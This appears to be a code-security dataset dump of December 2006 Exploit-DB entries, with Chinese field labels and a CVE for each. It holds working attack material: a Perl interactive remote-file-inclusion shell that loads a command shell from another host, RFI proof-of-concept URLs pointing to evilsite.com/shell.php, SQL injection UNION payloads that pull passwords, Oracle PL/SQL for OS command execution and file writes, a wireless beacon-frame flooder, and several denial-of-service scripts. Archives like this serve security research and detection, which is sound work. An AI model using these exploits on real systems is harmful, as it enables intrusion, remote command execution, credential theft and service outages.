QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - 'MessageBox' Memory Corruption Local Denial of Service EDB-ID: 2967 CVE: 2006-6696 类型: DOS 平台: WINDOWS 发布日期: 2006-12-20 漏洞利用脚本: // mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
 [DllImport("user32.dll")]
 unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

 static unsafe void Main()
 {
   byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
   uint MB_SERVICE_NOTIFICATION = 0x00200000u;
   fixed(byte* pHelloBug = &helloBug[0])
   {
     for(int i=0; i<10; i++)
       MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
   }
 }
}
// >> csc /unsafe mbox.cs
// >> mbox.exe

// milw0rm.com [2006-12-20] URL: https://www.exploit-db.com/exploits/2967
标题: cwmExplorer 1.0 - 'show_file' Source Code Disclosure EDB-ID: 2963 CVE: 2006-6757 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-19 漏洞利用脚本: *******************************************************************************************
# Title   :  cwmExplorer 1.0 (show_file) Source Code Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
$datei = "dirs/".$d."/".$_GET[show_file];
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/index.php?d=0&show_file=[file]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2963
标题: cwmVote 1.0 - 'archive.php' Remote File Inclusion EDB-ID: 2958 CVE: 2006-6732 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: ################################################################
#                                                              #
#            cwmVote 1.0 File Include Vulnerability            #
#                                                              #
# F0und3R: bd0rk || SOH-Crew                                   #
#                                                              #
# Website: www.soh-crew.it.tt                                  #
#                                                              #
# Download: http://explorer.cwm-design.de/dirs/41/cwmVote.rar  #
#                                                              #
################################################################

Vulnerable Code in archive.php


Code: include($abs."inc/functions.inc.php");
include($abs."inc/conf.mysql.inc.php");
include($abs."inc/conf.pw.inc.php");

Usage: http://[target]/[cwm_vote_path]/archive.php?abs=http://[Shellscript]

Greetings: TheJT, Lu7k, Kacper, nukedx, str0ke

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2958
标题: cwmCounter 5.1.1 - 'statistic.php' Remote File Inclusion EDB-ID: 2960 CVE: 2006-6738 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: #!/usr/bin/perl
#
#cwmCounter Remote File Include Exploit
#
#Coded by bd0rk || SOH-Crew
#
#Usage: cwmCounter.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, rgod
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'statistic.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *cwmCounter Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: cmwCounter.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to cwmCounter ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2960
标题: phpProfiles 3.1.2b - Multiple Remote File Inclusions EDB-ID: 2956 CVE: 2006-6740 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ phpProfiles <= 3.1.2b Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpProfiles <= 3.1.2b
+ Download ..........: http://downloads.sourceforge.net/phpprofiles/phpProfiles_3_1_2.zip
+ Description .......: "phpProfiles allows you to offer visitors their very own URL on your web site simply by registering"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpProfiles has several scripts which do not initialize variables before using them to
+ include files, assuming register_globals = on, we can initialize any one of the variables
+ in a query string and include a remote file of our choice.
+
+ Vulnerable Code:
+ include/remove_pic.inc.php line(s) 11: include("$scriptpath/redirect.php");
+ include/body_admin.inc.php line(s) 03: <p><?include("$menu");?></p>
+ include/account.inc.php,   line(s) 09: include("$incpath/footer.inc.php");
+ include/index.inc.php,     line(s) 05: include("$incpath/adminerr.inc.php");
+ ... see below for a list of files affected.
+ 
+ Proof Of Concept:
+ http://[target]/[path]/include/body.inc.php?menu=http://evilsite.com/shell.php
+ http://[target]/[path]/include/index.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/account.inc.php?action=update&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/admin_newcomm.inc.php?action=create&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/header_admin.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/header.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/friends.inc.php?action=invite&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/menu_u.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/notify.inc.php?action=sendit&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/body.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/body_admin.inc.php?menu=http://evilsite.com/shell.php
+ http://[target]/[path]/include/body_admin.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/commrecc.inc.php?action=recommend&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/do_reg.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/comm_post.inc.php?action=post&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/menu_v.inc.php?incpath=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2956
标题: Burak Yilmaz Download Portal - 'down.asp' SQL Injection EDB-ID: 2962 CVE: 2006-6671 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-19 漏洞利用脚本: # LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr

# script name : Burak Y.lmaz Download Portal

# Script Download : http://maxiasp.com/sc_yorum.asp?scno=929

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The RéD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | UNiKnoX |

# Vulnerable file : down.asp

#Vuln :
http://www.victim.com/ScriptPath/down.asp?id=[SqL]
http://www.victim.com/ScriptPath/down.asp?id=-1%20union%20SELECT%20*%20FROM%20uyeler%20WHERE%20uid=36

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2962
标题: Oracle 9i/10g - 'utl_file' FileSystem Access EDB-ID: 2959 CVE: 2006-7141 类型: REMOTE 平台: LINUX 发布日期: 2006-12-19 漏洞利用脚本: --
-- $Id: raptor_orafile.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $
--
-- raptor_orafile.sql - file system access suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an example file system access suite for Oracle based on the utl_file
-- package (http://www.adp-gmbh.ch/ora/plsql/utl_file.html). Use it to remotely
-- read/write OS files with the privileges of the RDBMS user, without the need
-- for any special privileges (CONNECT and RESOURCE roles are more than enough).
--
-- The database _must_ be configured with a non-NULL utl_file_dir value
-- (preferably '*'). Check it using the following query:
-- SQL> select name, value from v$parameter where name = 'utl_file_dir';
--
-- If you have the required privileges (ALTER SYSTEM) and feel brave 
-- enough to perform a DBMS shutdown/startup, you can consider modifying 
-- this parameter yourself, using the following PL/SQL:
-- SQL> alter system set utl_file_dir='*' scope =spfile;
--
-- See also: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
--
-- Usage example:
-- $ sqlplus scott/tiger
-- [...]
-- SQL> @raptor_orafile.sql
-- [...]
-- SQL> exec utlwritefile('/tmp', 'mytest', '# this is a fake .rhosts file');
-- SQL> exec utlwritefile('/tmp', 'mytest', '+ +');
-- SQL> set serveroutput on;
-- SQL> exec utlreadfile('/tmp', 'mytest');
-- # this is a fake .rhosts file
-- + +
-- End of file.
--

-- file reading module
--
-- usage: set serveroutput on;
--        exec utlreadfile('/dir', 'file');
create or replace procedure utlreadfile(p_directory in varchar2, p_filename in varchar2) as
buffer varchar2(260);
fd utl_file.file_type;
begin
 fd := utl_file.fopen(p_directory, p_filename, 'r');
 dbms_output.enable(1000000);
 loop
  utl_file.get_line(fd, buffer, 254);
  dbms_output.put_line(buffer);
 end loop;
 exception when no_data_found then
  dbms_output.put_line('End of file.');
  if (utl_file.is_open(fd) = true) then
   utl_file.fclose(fd);
  end if;
 when others then
  if (utl_file.is_open(fd) = true) then
   utl_file.fclose(fd);
  end if;
end;
/

-- file writing module
--
-- usage: exec utlwritefile('/dir', 'file', 'line to append');
create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as
fd utl_file.file_type;
begin
 fd := utl_file.fopen(p_directory, p_filename, 'a'); -- append
 utl_file.put_line(fd, p_line);
 if (utl_file.is_open(fd) = true) then
  utl_file.fclose(fd);
 end if;
end;
/

-- milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2959
标题: Paristemi 0.8.3b - 'buycd.php' Remote File Inclusion EDB-ID: 2955 CVE: 2006-6739 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.paristemi.com/
+ Affected Software .: Paristemi 0.8.3b
+ Download ..........: http://downloads.sourceforge.net/paristemi/paristemi-0_8_3.zip
+ Description .......: "Paristemi is a PHP/MySQL free website for churches"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Paristemi music/buycd.php fails to initialize the $HTTP_DOCUMENT_ROOT variable before using
+ it to include files, assuming register_globals = on, we can initialize the variable in a
+ query string and include a remote file of our choice.
+
+ Vulnerable Code:
+ music/buycd.php, line(s) 03:
+ -> <?php require_once $HTTP_DOCUMENT_ROOT.$INCLUDE_PATH.$HEADER.
+ 
+ Proof Of Concept:
+ http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2955
标题: KDE libkhtml 3.5 < 4.2.0 - Unhandled HTML Parse Exception EDB-ID: 2954 CVE: 2006-6660 类型: DOS 平台: LINUX 发布日期: 2006-12-19 漏洞利用脚本: <!--
KDE 3.5 | libkhtml <= 4.2.0 / Unhandled HTML Parse Exception
============================================================

Tested with Konqueror 3.5.2 and kmail 1.9.1

Federico L. Bossi Bonin
fbossi@globalst.com.ar
www.globalst.com.ar

Program received signal SIGSEGV, Segmentation fault.
0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4

#0  0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4
#1  0xb64419e4 in QPtrDict<void>::count () from /usr/kde/3.5/lib/libkhtml.so.4
#2  0xb64b0550 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#3  0xb64b43a2 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#4  0xb63329d5 in DOM::RegisteredListenerList::getHTMLEventListener () from /usr/kde/3.5/lib/libkhtml.so.4
#5  0xbf86ae90 in ?? ()
#6  0x00000001 in ?? ()
#7  0xb736f8ec in ?? () from /usr/qt/3/lib/libqt-mt.so.3
#8  0xb71e36f9 in qt_check_pointer () from /usr/qt/3/lib/libqt-mt.so.3
Previous frame inner to this frame (corrupt stack?)

CRASH CODE:
===========
-->

<HTML>
<HEAD>
<RANGE <COL SPAN <>>
<FRAMESET onload >
</HEAD>
</HTML>

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2954
标题: Microsoft Office Outlook Recipient Control - 'ole32.dll' Denial of Service EDB-ID: 2946 CVE: 2006-6659 类型: DOS 平台: WINDOWS 发布日期: 2006-12-18 漏洞利用脚本: <!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod

Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->

<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>

<!--
Just enable the control by clicking on it, then try to close IE.
-->

# milw0rm.com [2006-12-18] URL: https://www.exploit-db.com/exploits/2946
标题: WinFTP Server 2.0.2 - 'PASV' Remote Denial of Service EDB-ID: 2952 CVE: 2006-6673 类型: DOS 平台: WINDOWS 发布日期: 2006-12-19 漏洞利用脚本: import sys,os,string
import socket
import struct
import time

print "-----------------------------------------------------------------------"
print "# WinFtp Server Version 2.0.2 Denial of Service"
print "# url: http://www.wftpserver.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot[org]"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: Territorial pissing (by Nirvana)"
print "# you can choose one of all ftp commands implemented :)"
print "-----------------------------------------------------------------------"



buffer = "A" * 520
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",21))
except:
   print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(2)
s.send('USER %s\r\n' % "test")
time.sleep(2)
s.send('PASS %s\r\n' % "test")
time.sleep(2)
s.send('PASV %s\r\n' % buffer) #You can change PASV with LIST, USER, PORT, etc...
time.sleep(2)

# milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2952
标题: Oracle 9i/10g - 'extproc' Local/Remote Command Execution EDB-ID: 2951 CVE: 2004-1364 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-12-19 漏洞利用脚本: --
-- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $
--
-- raptor_oraextproc.sql - command exec via oracle extproc
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- Directory traversal vulnerability in extproc in Oracle 9i and 10g 
-- allows remote attackers to access arbitrary libraries outside of the 
-- $ORACLE_HOME\bin directory (CVE-2004-1364).
--
-- This PL/SQL code exploits the Oracle extproc directory traversal bug
-- to remotely execute arbitrary OS commands with the privileges of the DBMS 
-- user (the CREATE [ANY] LIBRARY privilege is needed).
--
-- See also: 
-- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
-- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql
--
-- Vulnerable platforms:
-- Oracle 9i (all versions?)
-- Oracle 10g versions prior to 10.1.0.3
--
-- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production,
-- running on both Solaris 9 and 10 systems. It will need some tweakings to 
-- properly work on other platforms.
--
-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
-- SQL> @raptor_oraextproc.sql
-- [...]
-- exec oracmd32.exec('touch /tmp/32');
-- [...]
-- ERROR at line 1:
-- ORA-06520: PL/SQL: Error loading external library
-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:
-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:
-- ELFCLASS32
-- [...]
-- SQL> exec oracmd64.exec('touch /tmp/64');
-- SQL> !ls -l /tmp/64
-- -rw-r--r--   1 oracle   orainst        0 Dec 19 13:49 /tmp/64
--

-- library for 32-bit oracle releases
create or replace library exec_shell32 as
'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';
/

-- library for 64-bit oracle releases
create or replace library exec_shell64 as
'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';
/

-- package for 32-bit oracle releases
-- usage: exec oracmd32.exec('command');
create or replace package oracmd32 as
 procedure exec(cmdstring in char);
end oracmd32;
/
create or replace package body oracmd32 as
 procedure exec(cmdstring in char)
 is external
 name "system"
 library exec_shell32
 language c;
end oracmd32;
/

-- package for 64-bit oracle releases
-- usage: exec oracmd64.exec('command');
create or replace package oracmd64 as
 procedure exec(cmdstring in char);
end oracmd64;
/
create or replace package body oracmd64 as
 procedure exec(cmdstring in char)
 is external
 name "system"
 library exec_shell64
 language c;
end oracmd64;
/

-- milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2951
标题: Intel 2200BG 802.11 - Beacon frame Kernel Memory Corruption EDB-ID: 2949 CVE: 2006-6651 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-19 漏洞利用脚本: /*
Summary:
The intel wireless mini-pci driver provided with Intel 2200BG 
cards is vulnerable to a remote race condition memory corruption flaw. 
Malformed beacons frame can be used to corrupt internal kernel 
structures,leading to arbitrary code execution. This vulnerability is 
triggered when flooding wifi card with many malformed beacons frame. The 
data is copied over internal kernel structures, resulting in memory 
operations being performed on attacker-controlled pointer values, like 
EIP values.
 
Credit:
Breno Silva Pinto (Open Communications Security).

Vulnerable Systems:
 * Intel 2200 driver version 9.0.3.9

url: http://www.securiteam.com/windowsntfocus/6B00D2KHPA.html
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h >
#include <stdio.h>
#include <linux/wireless.h>

// Change BSSID and SRC MAC ADDR to AP you are associated

char beacon[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,
0x30, 0x2f, 0x84, 0x18, 0xa9, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00,
0x01, 0x04, 0x00, 0xff, 0x53, 0x41, 0x55, 0x4e, 0x41, 0x01, 0x08, 0x82,
0x84, 0x8b,0x96, 0x24, 0x30, 0x48, 0x6c, 0x04, 0x01, 0x08, 0x05, 0x04,
0x00, 0x01, 0x00, 0x00, 0x2a, 0x01,0x04, 0x2f, 0x01, 0x04, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x06, 0x00, 0x10, 0x18, 0x02,0x00, 0xf4,
0x08, 0xc1, 0xca, 0x93 };

int main() {
    struct sockaddr_ll link;
    struct ifreq iface;
    int s, i, randd = 0x22, j, m, a, b;
    unsigned long len = 0, c = 0;
    char s_1[700+sizeof(beacon)];
    
    if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
        return 0;

    bzero(&iface,sizeof(iface));
    bzero(&link,sizeof(link));
        bzero(s_1,sizeof(beacon));
        
    strcpy( iface.ifr_name,"ath0raw");

    
    if(ioctl(s,SIOCGIFHWADDR, &iface)) {
        return 0;
    }
    
    if(ioctl(s,SIOCGIFINDEX, &iface)) {
        return -1;
    
    }
     
    if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
        return -1;
    }
    
    link.sll_family = AF_PACKET;
    link.sll_ifindex = iface.ifr_ifindex;

    if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
        return -1;
    
    }
    

           memcpy(s_1,beacon,sizeof(beacon));

    randd = 0x44;

    for(i=0;i<33;i++)
    s_1[37+i] = 0x44;
    
    for(;;) {
            
            i = 147;
                for(j=0;j<i;j++) {
                    if(randd == 0xff)
                    randd = 0x00;
                    s_1[70+j] = randd++;
            }
            randd = 0x44;
            for(m=0;m<5;m++) {
            len = sendto(s,s_1,strlen(beacon)+j, 0, NULL, 0);
            printf("Sent %d\n",len);
            }
    }

    close(s);
    
    return 0;
}

// milw0rm.com [2006-12-19] URL: https://www.exploit-db.com/exploits/2949
标题: Uploader & Downloader 3.0 - 'id_user' SQL Injection EDB-ID: 2945 CVE: 2006-6716 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-18 漏洞利用脚本: ########################################################################
#  uploader&downloader v3  Remote SQL Injection Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/1892_uploader-30.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/administration/administre2.php?id_user=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connect_upload_fichier%20WHERE%20id_user=1
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-18] URL: https://www.exploit-db.com/exploits/2945